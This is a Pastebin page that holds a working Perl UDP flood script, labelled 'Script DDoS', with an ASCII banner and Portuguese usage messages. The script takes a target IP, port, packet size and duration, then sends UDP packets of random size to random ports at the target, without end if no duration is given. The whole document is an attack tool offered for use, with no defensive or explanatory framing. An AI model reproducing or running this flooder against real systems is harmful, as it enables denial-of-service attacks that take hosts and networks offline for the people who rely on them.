Advertisement
mu7h

Script DDoS

Oct 9th, 2016
7,013
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.71 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##############
  4. # mu7h UDP
  5. ##############
  6.  
  7. use Socket;
  8. use strict;
  9. use Term::ANSIColor qw(:constants);
  10.  
  11. print GREEN, '
  12. $$$$$$\ $$\ $$\ $$$$$$$$\ $$\
  13. $$$ ___$$$\ $$$\ $$$ | \____$$ |$$ |
  14. $$ _/ \_$$\ $$$$\ $$$$ |$$\ $$\ $$ / $$$$$$$\
  15. $$ / $$$$$\ $$\ $$\$$\$$ $$ |$$ | $$ | $$ / $$ __$$\
  16. $$ |$$ $$ |$$ |$$ \$$$ $$ |$$ | $$ | $$ / $$ | $$ |
  17. $$ |$$ /$$ |$$ |$$ |\$ /$$ |$$ | $$ | $$ / $$ | $$ |
  18. $$ |\$$$$$$$$ |$$ | \_/ $$ |\$$$$$$ |$$ / $$ | $$ |
  19. \$$\ \________/ \__| \__| \______/ \__/ \__| \__|
  20. \$$$\ $$$\
  21. \_$$$$$$ _|
  22. \______/
  23. $$$$$$$\ $$$$$$$\ $$$$$$\
  24. $$ __$$\ $$ __$$\ $$ __$$\
  25. $$ | $$ |$$ | $$ | $$$$$$\ $$ / \__|
  26. $$ | $$ |$$ | $$ |$$ __$$\ \$$$$$$\
  27. $$ | $$ |$$ | $$ |$$ / $$ | \____$$\
  28. $$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ |
  29. $$$$$$$ |$$$$$$$ |\$$$$$$ |\$$$$$$ |
  30. \_______/ \_______/ \______/ \______/
  31.  
  32. ', RESET;
  33. print "\n";
  34.  
  35. if ($#ARGV != 3) {
  36. print BLUE, "mu7h.pl <ip> <porta> <power> <tempo>\n", RESET;
  37. print BLUE, " porta=0: use para uma porta aleatoria\n", RESET;
  38. print BLUE, " power=0: use para um power nao definido entre 64 e 1024\n", RESET;
  39. print BLUE, " tempo=0: continue o flood sem parar\n", RESET;
  40. print RED, "Quer parar o ATAQUE?! Use Ctrl-C\n", RESET;
  41. exit(1);
  42. }
  43.  
  44. my ($ip,$port,$size,$time) = @ARGV;
  45.  
  46. my ($iaddr,$endtime,$psize,$pport);
  47.  
  48. $iaddr = inet_aton("$ip") or die "Não pode resolver o nome do host $ip\n";
  49. $endtime = time() + ($time ? $time : 1000000);
  50.  
  51. socket(flood, PF_INET, SOCK_DGRAM, 17);
  52.  
  53.  
  54. print "Atacando $ip " . ($port ? $port : "random") . " porta " .
  55. ($size ? "$size-bytes" : "random size") . " pacotes" .
  56. ($time ? " por $time segundos. " : "") . "\n";
  57. print "Pare o Ataque usando Ctrl-C\n" unless $time;
  58.  
  59. for (;time() <= $endtime;) {
  60. $psize = $size ? $size : int(rand(1024-64)+64) ;
  61. $pport = $port ? $port : int(rand(65500))+1;
  62.  
  63. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement